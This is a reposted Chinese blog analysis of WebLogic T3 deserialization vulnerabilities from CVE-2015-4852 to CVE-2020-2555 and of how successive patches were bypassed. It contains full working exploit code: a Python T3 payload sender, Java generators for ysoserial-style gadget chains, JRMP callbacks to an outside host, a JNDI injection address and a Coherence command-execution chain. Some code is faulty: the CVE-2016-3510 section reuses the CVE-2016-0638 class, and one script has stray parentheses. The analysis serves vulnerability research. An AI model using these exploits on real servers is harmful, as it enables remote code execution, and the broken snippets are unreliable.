转载

weblogic历史T3反序列化漏洞及补丁梳理

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

调试环境搭建

将weblogic依赖的jar包拷贝出来并导入idea。

mkdir wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

weblogic历史T3反序列化漏洞及补丁梳理

远程调试配置

weblogic历史T3反序列化漏洞及补丁梳理

T3 协议说明

t3是oracle对rmi的增强,和rmi一样在网络间传输时数据是序列化过的。文章的重点在于分析漏洞以及补丁为什么可以绕过,就不分析t3协议数据的格式了,在复现时我们只需要将生成的恶意序列化数据套在py模版中即可。如果有师傅想对weblogic体系及其t3协议的正常使用感兴趣推荐阅读 WebLogic安全研究报告 。

CVE-2015-4852

t3协议的传输过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject中读取并进行反序列化。

weblogic历史T3反序列化漏洞及补丁梳理 因为是t3第一洞所以可以看到ServerChannelInputStream的resolveClass并没有任何做防御。 weblogic历史T3反序列化漏洞及补丁梳理

自带cc链

weblogic历史T3反序列化漏洞及补丁梳理

所以只需要把ysoserial的生成的payload嵌入t3协议即可。

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3/nAS:255/nHL:19/nMS:10000000/n/n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "127.0.0.1"
    port = 7001
    gadget = "CommonsCollections1" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)

CVE-2015-4852的修复

补丁:2016年1月 p21984589_1036_Generic

修复方法是在resolveClass中引入了 ClassFilter.isBlackListed进行过滤,跟进weblogic.rmi.ClassFilter可以看到黑名单内容。

weblogic历史T3反序列化漏洞及补丁梳理

weblogic历史T3反序列化漏洞及补丁梳理

除此之外,另外几个反序列化点也被加了相同的过滤(不一一打开看了)。

weblogic历史T3反序列化漏洞及补丁梳理

反序列化两个关键点,一个是触发反序列化的点,二是gadget。现在反序列化触发点有了,后面的t3的cve就是绕黑名单的各种技巧了。

为了让后面的分析更具有说服力,这里以10.3.6为例说明如何打补丁。

docker run -it  -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 /bin/bash
docker cp /Users/cengsiqi/Downloads/p21984589_1036_Generic weblogic1036jdk7u21:/p21984589_1036_Generic
docker exec -it weblogic1036jdk7u21 /bin/bash
cd /p21984589_1036_Generic
mv patch-catalog_23510.xml  patch-catalog.xml
cd /u01/app/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/p21984589_1036_Generic -patchlist=S8C2 -prod_dir=/u01/app/oracle/middleware/wlserver/
/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh

如果打补丁时出现如下错误需要自行把bsu.sh中的内存参数MEM_ARGS调大一点。

weblogic历史T3反序列化漏洞及补丁梳理

成功后截图如下

weblogic历史T3反序列化漏洞及补丁梳理

这时再尝试打会出现Unauthorized

weblogic历史T3反序列化漏洞及补丁梳理

CVE-2016-0638

weblogic.jms.common.StreamMessageImpl没在黑名单,在其反序列化时会读取一段数据并进行反序列化,我们可以把这段数据伪造成rce payload。

weblogic历史T3反序列化漏洞及补丁梳理
import weblogic.jms.common.StreamMessageImpl;

import java.io.*;

public class CVE_2016_0638 {

    public static void main(String[] args) throws IOException {
        byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_0638");
        StreamMessageImpl streamMessage = new StreamMessageImpl(payload);
        ser(streamMessage, "CVE_2016_0638.ser");
    }

    public static byte[] exec(String gadget, String command) throws IOException {
        String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command};
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[4096];
        int a = -1;

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        return baos.toByteArray();
    }

    public static void ser(Object obj, String serName) throws IOException {
        File file = new File(serName);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
        oos.writeObject(obj);
        System.out.println("-------序列化成功" + serName);
    }
}

乱入一个QA

Q:StreamMessageImpl可以过黑名单很好理解,但是为啥CommonsCollections1依旧可以成功,CommonsCollections1(org.apache.commons.collections.functors)不是在黑名单里面吗?

A:答案是ServerChannelInputStream没有过滤到org.apache.commons.collections.functors(废话)。细节是这样的:ServerChannelInputStream的resolveClass检验到是StreamMessageImpl,不在黑名单里面,通过。然后在反序列化流程中会调用StreamMessageImpl的readExternal,readExternal内部又new了新的ObjectInputStream(以后简称ois)并从缓冲区读反序列化数据再次调用readObject,这里原生的ois就是原生的resolveClass方法没有过滤。

CVE-2016-0638的修复

补丁:2016年4月p22505423_1036_Generic

把原生的ois换成了FilteringObjectInputStream

weblogic历史T3反序列化漏洞及补丁梳理

weblogic历史T3反序列化漏洞及补丁梳理

CVE-2016-3510

weblogic.corba.utils.MarshalledObject不在黑名单中,并且在readResolve的时候会读取objBytes的值赋给新new的ois。那么我们在objBytes中放入rce payload即可。

weblogic历史T3反序列化漏洞及补丁梳理
import weblogic.jms.common.StreamMessageImpl;

import java.io.*;

public class CVE_2016_0638 {

    public static void main(String[] args) throws IOException {
        byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_0638");
        StreamMessageImpl streamMessage = new StreamMessageImpl(payload);
        ser(streamMessage, "CVE_2016_0638.ser");
    }

    public static byte[] exec(String gadget, String command) throws IOException {
        String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command};
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] b = new byte[4096];
        int a = -1;

        while ((a = in.read(b)) != -1) {
            baos.write(b, 0, a);
        }

        return baos.toByteArray();
    }

    public static void ser(Object obj, String serName) throws IOException {
        File file = new File(serName);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
        oos.writeObject(obj);
        System.out.println("-------序列化成功" + serName);
    }
}

CVE-2016-3510的修复

补丁:2016年10月 p23743997_1036_Generic

重写了resolveClass方法,加了过滤。

weblogic历史T3反序列化漏洞及补丁梳理

weblogic历史T3反序列化漏洞及补丁梳理

CVE-2017-3248

利用JRMPClient进行带外rce,这个技巧相信看过 橘子师傅shiro rce 的操作的师很熟悉了。

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3/nAS:255/nHL:19/nMS:10000000/n/n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "127.0.0.1"
    port = 7001
    gadget = "JRMPClient"  #CommonsCollections1 Jdk7u21 JRMPClient
    command = "192.168.1.3:8080" #

    payload = get_payload1(gadget, command)
    )
    )
    exp(host, port, payload)

CVE-2017-3248的修复

补丁:p24667634_1036_Generic

官方的修复是新加resolveProxyClass,过滤java.rmi.registry.Registry

weblogic历史T3反序列化漏洞及补丁梳理

CVE-2018-2628

上面提到过滤了Registry,这样ysoserial中原生JRMPClient就打不了,但是仍然有多种办法bypass。

替换接口

引用@ lpwd 师傅的话:

这个CVE廖也提交了绕过,他的绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map

weblogic历史T3反序列化漏洞及补丁梳理

package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.util.Map;

@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Map> {

    public Map getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Map proxy = (Map) Proxy.newProxyInstance(
            JRMPClient.class.getClassLoader(),
            new Class[] { Map.class },
            obj);
        return proxy;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

直接用UnicastRef

CVE-2017-3248的构造中把UnicastRef放入了Registry,其实用UnicastRef也能在反序列化的时候发起jrmp请求。这种方法要比替换接口的干脆很多。在ysoserial中加一个JRMPClient2

package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;


@SuppressWarnings ( {
    "restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<UnicastRef> {

    public UnicastRef getObject ( final String command ) throws Exception {

        String host;
        int port;
        int sep = command.indexOf(':');
        if ( sep < 0 ) {
            port = new Random().nextInt(65535);
            host = command;
        }
        else {
            host = command.substring(0, sep);
            port = Integer.valueOf(command.substring(sep + 1));
        }
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(host, port);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        return ref;
    }


    public static void main ( final String[] args ) throws Exception {
        Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
        PayloadRunner.run(JRMPClient.class, args);
    }
}

CVE-2018-2628的修复

补丁:2018年四月发布的p27395085_1036_Generic

UnicastRef在weblogic.utils.io.oif.WebLogicFilterConfig中加进了黑名单。

weblogic历史T3反序列化漏洞及补丁梳理

CVE-2018-2893

streamMessageImpl + jrmp代理类绕过。先来看payload

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;

import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2018_2893 {
    public static void main(String[] args) throws IOException {
        ObjID objID = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.1.3", 8080);
        UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
        Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
        StreamMessageImpl streamMessage = new StreamMessageImpl(serialize(object));
        ser(streamMessage, "CVE_2018_2893.ser");
    }

    public static void ser(Object obj, String serName) throws IOException {
        File file = new File(serName);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
        oos.writeObject(obj);
        System.out.println("-------序列化成功" + serName);
    }

    public static byte[] serialize(final Object obj) throws IOException {
        final ByteArrayOutputStream out = new ByteArrayOutputStream();
        serialize(obj, out);
        return out.toByteArray();
    }

    public static void serialize(final Object obj, final OutputStream out) throws IOException {
        final ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
    }
}

什么鬼?payload中用到的streamMessageImpl、Registry、UnicastRef不是已经被修复了吗?

我们来细看一下怎么修的。

streamMessageImpl的readExternal内部是拿给FilteringObjectInputStream过滤。

weblogic历史T3反序列化漏洞及补丁梳理

FilteringObjectInputStream只是对普通类的反序列化进行了拦截, 并没有对代理类进行拦截 。对你没看错,虽然在CVE-2017-3248后ServerChannelInoutStream类中的resolveProxyClass过滤了Registry,但是这里的FilteringObjectInputStream并没有实现resolveProxyClass过滤代理类。

weblogic历史T3反序列化漏洞及补丁梳理

那UnicastRef又为啥逃过一劫?我们来看UnicastRef在序列化的时候经历了什么。在上面的payload中UnicastRef传入了RemoteObjectInvocationHandler,RemoteObjectInvocationHandler继承自RemoteObject。在RemoteObject writeObject时只是写入UnicastRef的类名(并没有把他作为一个类序列化)然后调用UnicastRef的writeExternal。

weblogic历史T3反序列化漏洞及补丁梳理

UnicastRef又用到了LiveRef的write,写入了反序列化时需要反连的host和端口。

weblogic历史T3反序列化漏洞及补丁梳理

weblogic历史T3反序列化漏洞及补丁梳理

由此可见UnicastRef从始至终并没有作为一个类被反序列化,如果分析这个payload的resolve 时序会发现完全没有反序列化UnicastRef。 weblogic历史T3反序列化漏洞及补丁梳理 如果你分析序列化出来的数据会发现* UnicastRef**只是TC_BLOCKDATA而不是TC_CLASSDESC。

weblogic历史T3反序列化漏洞及补丁梳理

CVE-2018-2893的修复

补丁:18年7月 p27919965_1036_Generic

这次修复把经过resolveClass的java.rmi.server.RemoteObjectInvocationHandler给过滤了。

weblogic历史T3反序列化漏洞及补丁梳理

CVE-2018-3245

再次引用@ lpwd 师傅的话:

根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。

那么这个类应该满足以下条件:

继承远程类:java.rmi.server.RemoteObject

不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)

随便找了一下,符合条件的挺多的:

javax.management.remote.rmi.RMIConnectionImpl_Stub

com.sun.jndi.rmi.registry.ReferenceWrapper_Stub

javax.management.remote.rmi.RMIServerImpl_Stub

sun.rmi.registry.RegistryImpl_Stub

sun.rmi.transport.DGCImpl_Stub

import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.*;
import java.rmi.server.ObjID;
import java.util.Random;

public class CVE_2018_3245 {
    public static void main(String[] args) throws IOException {
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint("192.168.1.3", 8080);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        ReferenceWrapper_Stub wrapperStub = new ReferenceWrapper_Stub(ref);
        ser(wrapperStub, "CVE_2018_3245.ser");

    }

    public static void ser(Object obj, String serName) throws IOException {
        File file = new File(serName);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
        oos.writeObject(obj);
        System.out.println("-------序列化成功" + serName);
    }

}

CVE-2018-3245的修复

补丁:2018年8月 p28343311_1036_201808Generic

修复方法是添加更底层的java.rmi.server.RemoteObject。

weblogic历史T3反序列化漏洞及补丁梳理

CVE-2018-3191

这个洞是jndi注入。触发点在JtaTransactionManager。

weblogic历史T3反序列化漏洞及补丁梳理

weblogic历史T3反序列化漏洞及补丁梳理

weblogic历史T3反序列化漏洞及补丁梳理

weblogic历史T3反序列化漏洞及补丁梳理

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class CVE_2018_3191 {
    public static void main(String[] args) throws IOException {
        String jndiAddress = "rmi://192.168.1.3:1099/Exploit";
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        ser(jtaTransactionManager, "CVE_2018_3191.ser");
    }

    public static void ser(Object obj, String serName) throws IOException {
        File file = new File(serName);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
        oos.writeObject(obj);
        System.out.println("-------序列化成功" + serName);
    }
}

CVE-2018-3191的修复

补丁:2018年8月 p28343311_1036_Generic

weblogic历史T3反序列化漏洞及补丁梳理

CVE-2020-2555

Oracle Coherence组件存在漏洞,该组件默认集成在Weblogic12c及以上版本中(网上资料这么说的:web10.3.6也有只是默认没有启用,未验证)。

这个漏洞和cc5的构造有异曲同工之妙,触发点在BadAttributeValueExpException#readObject 中调用toString方法。

weblogic历史T3反序列化漏洞及补丁梳理

在Coherence组件中LimitFilter这个类刚好可以被序列化并且有toString这个方法。因为是反序列化,this.m_comparator和this.m_oAnchorBottom都可控。也就说 extractor.extract(``this``.m_oAnchorBottom) 完全可控(更严格的说m_comparator需要是ValueExtractor的实例并且和m_oAnchorBottom都需要可被序列化)。

weblogic历史T3反序列化漏洞及补丁梳理

我们来看一下有哪些满足条件的类实现了extract。

可以注意到com.tangosol.util.extractor.ReflectionExtractor#extract

weblogic历史T3反序列化漏洞及补丁梳理

它可以被序列化并且extract里面是一组反射操作。

weblogic历史T3反序列化漏洞及补丁梳理
weblogic历史T3反序列化漏洞及补丁梳理

其次注意到com.tangosol.util.extractor.ChainedExtractor#extract

weblogic历史T3反序列化漏洞及补丁梳理

里面是对extrator进行链式操作,说到这里已经可以看出来是和cc链一个套路了。

weblogic历史T3反序列化漏洞及补丁梳理

这里我是在windows上复现的(

很奇怪我在linux完整安装打不了,windows上默认安装就可以,

后来发现linux环境是7u21这个版本的BadAttributeValueExpException并没有readObject方法,另外不需要用完整示例安装默认安装即可)。

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class CVE_2020_2555 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        //String cmd = "touch /tmp/CVE_2020_2555_12013";
        String cmd ="calc.exe";
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
                new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
                //new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", cmd}})
                new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", cmd}})
        };
        // chain
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        ser(expException, "./CVE_2020_2555_12013.ser");
    }

    public static void ser(Object obj, String serName) throws IOException {
        File file = new File(serName);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
        oos.writeObject(obj);
        System.out.println("-------序列化成功" + serName);
    }
    
}

CVE-2020-2555的修复

图片来自 ZDL (侵删)可以看到是删了extractor.extract

weblogic历史T3反序列化漏洞及补丁梳理

总结

疏理完一遍之后,我们得以看到整个绕过思路的全貌。我主观分为三个阶段。

  • 第一阶段,CVE-2016-0638和CVE-2016-3510。利用反序列化流程中新new的原生ois绕过,只要找到了read*系列的点可以比较容易的看出来。
  • 第二阶段,cve-2017-3248到cve-2018-3191。利用jrmp、jndi带外rce,漏洞点没有在read*的代码上下文中需要多跟几步有点“pop”的感觉了。
  • 第三阶段,cve-2020-2555,需要对java的反序列化出现过知识点很熟悉(java原生类的触发点+weblogic组件中类似cc的套路),据说这个漏洞的作者也挖了很久。

碍于笔者水平,行文出错在所难免,如有阅读此文的师傅发现错误还请不吝指正。

参考

从WebLogic看反序列化漏洞的利用与防御

Java 序列化之 Externalizable

Weblogic漏洞调试笔记

如何控制开放HTTPS服务的weblogic服务器

Weblogic CVE-2016-0638 StreamMessageImpl反序列化绕过分析

Patch S8C2 is mutually exclusive and cannot coexist with patch(es): ZLNA,EJUW

Weblogic JRMP反序列化漏洞回顾

CVE-2018-2893:Oracle WebLogic Server 远程代码执行漏洞分析预警

漫谈 Weblogic CVE-2020-2555

Oracle Coherence 反序列化漏洞分析(CVE-2020-2555)
原文  http://redteam.today/2020/03/25/weblogic历史T3反序列化漏洞及补丁梳理/
正文到此结束
Loading...